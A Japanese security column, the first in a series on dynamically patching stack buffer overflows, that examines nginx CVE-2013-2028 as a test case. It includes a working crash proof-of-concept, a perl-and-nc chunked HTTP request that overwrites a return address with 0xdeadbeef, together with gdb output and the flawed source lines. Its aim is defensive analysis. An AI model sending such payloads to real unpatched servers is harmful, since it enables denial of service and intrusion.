スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Buffer Overflow脆弱性の動的パッチの方法 - Part 1

タイガーチームセキュリティレポート

Buffer Overflow脆弱性の動的パッチの方法 - Part 1

以後の一連のコラムではよく知られたメモリ破壊系の脆弱性であるstack based buffer overflowからサーバプログラムを保護する方法について考えてみます。


-短い紹介-

今回のテーマであるstack based buffer overflow(以下、buffer overflow)脆弱性はstack上のbuffer領域にプログラム外部から入力されたbuffer領域のサイズよりも大きなデータを書き込むバグを利用してstack上の関数の戻りアドレスを書き換えることによりプログラムの制御を奪うことができる問題です。

この脆弱性は古くから良く知られたものであるため、脆弱性の基本的な仕組みの話は既知のものとして話を進めていきます。

以後のコラムではremote buffer overflow脆弱性のあるサーバプログラムに対して、プログラムを止めることなく動的にパッチをあててbuffer overflow脆弱性を狙った攻撃(exploit)からプログラムを保護する方法について考えてみます。

-前提条件-

以後ではbuffer overflow脆弱性の実例として、最近人気を得つつあるWebサーバであるnginxのバージョン1.3.9および1.4.0に対して報告されたbuffer overflow脆弱性(CVE-2013-2028)を題材として、nginxに対する動的パッチを検証します。環境としては32bitのFedora 20上で動作するnginx 1.3.9を前提として話を進めます。

-脆弱性の存在確認-

nginx 1.3.9に対してbuffer overflowを発生させて関数の戻りアドレスを任意のアドレス(ここでは0xdeadbeef)に上書きできることを確認してみましょう。

CVE-2013-2028はnginxのchunked encodingの取り扱いにおける脆弱性です。リクエストヘッダにTransfer-Encoding: chunkedを指定して大きな16進文字列をリクエストボディに格納することによりbuffer overflowが発生します。

まず端末A上でnginxにdebuggerをattachしておきましょう。

[root@fedora32 ~]# ps -ef | grep nginx
nobody    2417 26229  0 10:13 ?        00:00:00 nginx: worker process
root      2686  1465  0 12:59 pts/2    00:00:00 grep --color=auto nginx
root     26229     1  0 Mar16 ?        00:00:00 nginx: master process ./sbin/nginx
[root@fedora32 ~]# gdb -q --pid=2417
Attaching to process 2417
Reading symbols from /usr/local/nginx-1.3.9/sbin/nginx...done.
Reading symbols from /lib/libpthread.so.0...Reading symbols from /usr/lib/debug/lib/libpthread-2.18.so.debug...done.
done.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/libthread_db.so.1".
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /lib/libcrypt.so.1...Reading symbols from /usr/lib/debug/lib/libcrypt-2.18.so.debug...done.
done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libpcre.so.1...Reading symbols from /usr/lib/debug/usr/lib/libpcre.so.1.2.1.debug...done.
done.
Loaded symbols for /lib/libpcre.so.1
Reading symbols from /lib/libcrypto.so.10...Reading symbols from /usr/lib/debug/usr/lib/libcrypto.so.1.0.1e.debug...done.
done.
Loaded symbols for /lib/libcrypto.so.10
Reading symbols from /lib/libz.so.1...Reading symbols from /usr/lib/debug/usr/lib/libz.so.1.2.8.debug...done.
done.
Loaded symbols for /lib/libz.so.1
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.18.so.debug...done.
done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.18.so.debug...done.
done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libfreebl3.so...Reading symbols from /usr/lib/debug/usr/lib/libfreebl3.so.debug...done.
done.
Loaded symbols for /lib/libfreebl3.so
Reading symbols from /lib/libdl.so.2...Reading symbols from /usr/lib/debug/lib/libdl-2.18.so.debug...done.
done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libnss_files.so.2...Reading symbols from /usr/lib/debug/lib/libnss_files-2.18.so.debug...done.
done.
Loaded symbols for /lib/libnss_files.so.2
__kernel_vsyscall () at arch/x86/vdso/vdso32/sysenter.S:49
49              pop %ebp
(gdb) cont
Continuing.

つぎに別の端末B上でnginxにHTTPリクエストを送信してみましょう。

[acruel@fedora32 ~]$ perl -e 'print "GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n" . "a"x961 . "b"x4096 . "c"x64 . "\xef\xbe\xad\xde"' | nc -n -v 127.0.0.1 80
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:80.

端末Aに戻って結果を確認すると、プログラムはアドレス0xdeadbeefにreturnしようとしてSegmentation faultが発生したことが確認できます。

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) 

成功です。nginx1.3.9にはremote buffer overflow脆弱性があることが確認できました。:-) これを利用して任意のコードを実行するにはASLRとDEPをバイパスする必要があり別の興味深いチャレンジですが、それは今回のコラムの目的ではないので深入りしません。

-脆弱性の原因-

このbuffer overflow脆弱性の原因と問題の箇所について見ておきます。

まずchunked encodingの方式ですがこれはデータを細かい複数のデータ片(chunk)に分割して16進のデータサイズとchunkをCRLF区切りで交互に並べて表現するものです。HTTPのContent-LengthヘッダでBody部のサイズを指定する場合のようにあらかじめ送信する全体のデータサイズを知る必要がないという利点があります。

Wikipediaからの例の変形ですが、例えばchunked encodeされた以下のデータをdecodeします。

5\r\n
Tiger\r\n
4\r\n
Team\r\n
e\r\n
 in\r\n\r\nchunks.\r\n
0\r\n
\r\n

すると以下のテキストになります。gzip等と比べると非常に単純なエンコード方式です。

TigerTeam in

chunks

chunked encodingはextensionなどのオプションも指定可能でありもう少し複雑になる可能性があります。以下はrfcから引用したchunked encodingの完全な形式です。

       Chunked-Body   = *chunk
                        last-chunk
                        trailer
                        CRLF

       chunk          = chunk-size [ chunk-extension ] CRLF
                        chunk-data CRLF
       chunk-size     = 1*HEX
       last-chunk     = 1*("0") [ chunk-extension ] CRLF

       chunk-extension= *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
       chunk-ext-name = token
       chunk-ext-val  = token | quoted-string
       chunk-data     = chunk-size(OCTET)
       trailer        = *(entity-header CRLF)

ここでchunk-sizeに指定する16進文字列の文字数には制限がありません。上の実行例で示したようにchunked encodingされたHTTPリクエストボディの1行目に長い0-9またはa-fの列が来た場合、非常に大きなサイズのchunkとして評価されます。

つぎにnginx 1.3.9がHTTPリクエストをどのように処理するか見てみます。

nginxは上の実行例で送信したHTTPリクエストを処理する際、最初にHTTPリクエストヘッダを含む1024バイト(ヘッダの先頭から最後の"a"まで)を読み込んだあと、つぎに読み込むべきサイズを計算したうえでHTTPリクエストボディの続き(最初の"b"から)を読み込もうとします。それが以下の606行目から609行目です。

 580 static ngx_int_t
 581 ngx_http_read_discarded_request_body(ngx_http_request_t *r)
 582 {
 583     size_t     size;
 584     ssize_t    n;
 585     ngx_int_t  rc;
 586     ngx_buf_t  b;
 587     u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
 588
 589     ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
 590                    "http read discarded body");
 591
 592     ngx_memzero(&b, sizeof(ngx_buf_t));
 593
 594     b.temporary = 1;
 595
 596     for ( ;; ) {
 597         if (r->headers_in.content_length_n == 0) {
 598             r->read_event_handler = ngx_http_block_reading;
 599             return NGX_OK;
 600         }
 601
 602         if (!r->connection->read->ready) {
 603             return NGX_AGAIN;
 604         }
 605
 606         size = (size_t) ngx_min(r->headers_in.content_length_n,
 607                                 NGX_HTTP_DISCARD_BUFFER_SIZE);
 608
 609         n = r->connection->recv(r->connection, buffer, size);
 610
 611         if (n == NGX_ERROR) {
 612             r->connection->error = 1;
 613             return NGX_OK;
 614         }
 615
 616         if (n == NGX_AGAIN) {
 617             return NGX_AGAIN;
 618         }
 619
 620         if (n == 0) {
 621             return NGX_OK;
 622         }
 623
 624         b.pos = buffer;
 625         b.last = buffer + n;
 626
 627         rc = ngx_http_discard_request_body_filter(r, &b);
 628
 629         if (rc != NGX_OK) {
 630             return rc;
 631         }
 632     }
 633 }
http/ngx_http_request_body.c

606行目を見るとsizeの値はbufferのサイズNGX_HTTP_DISCARD_BUFFER_SIZE(=4096)をこえないように見えます。

しかしr->headers_in.content_length_nは符号付きの整数型off_tであるためcontent_length_nが負の値であった場合、size_tにキャストされた値はNGX_HTTP_DISCARD_BUFFER_SIZEよりも大きくなる可能性があります。このとき609行目でbuffer overflowが発生します。

content_length_nの値は最初に読み込んだHTTPリクエストの先頭1024バイトのうちのボディ部(961個の"a")をもとに計算されます。以下はchunked encodingのparserであるngx_http_parse_chunked()からの抜粋です。

1879         case sw_chunk_size:
1880             if (ch >= '0' && ch <= '9') {
1881                 ctx->size = ctx->size * 16 + (ch - '0');
1882                 break;
1883             }
1884 
1885             c = (u_char) (ch | 0x20);
1886 
1887             if (c >= 'a' && c <= 'f') {
1888                 ctx->size = ctx->size * 16 + (c - 'a' + 10);
1889                 break;
1890             }
http/ngx_http_parse.c

ボディ部を16進数として計算して最終的にctx->sizeに6を足したものがcontent_length_nになります。

2034     case sw_chunk_size:
2035         ctx->length = 2 /* LF LF */
2036                       + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);
2037         break;
http/ngx_http_parse.c

このことから、上の例のHTTPリクエストの場合、sizeの値は0xaaaaaaaa + 6 = 2863311536になることがわかります。これはbufferのサイズ4096バイトよりもはるかに大きな値です。この状態で609行目のrecv()を実行すると最初の"b"以降のデータががまとめてbufferに読み込まれてngx_http_read_discarded_request_body()の戻りアドレスを0xdeadbeefに上書きします。

以上が今回検証に利用するCVE-2013-2028の概要です。次回のコラムではbuffer overflow脆弱性の動的パッチを実装するためのツールの準備を行います。


参考情報:
[1] CVE - CVE-2013-2028
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2028
[2] RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1
https://tools.ietf.org/html/rfc2616
[3] Chunked transfer encoding
http://en.wikipedia.org/wiki/Chunked_transfer_encoding


タイガーチームメンバー 塚本 泰三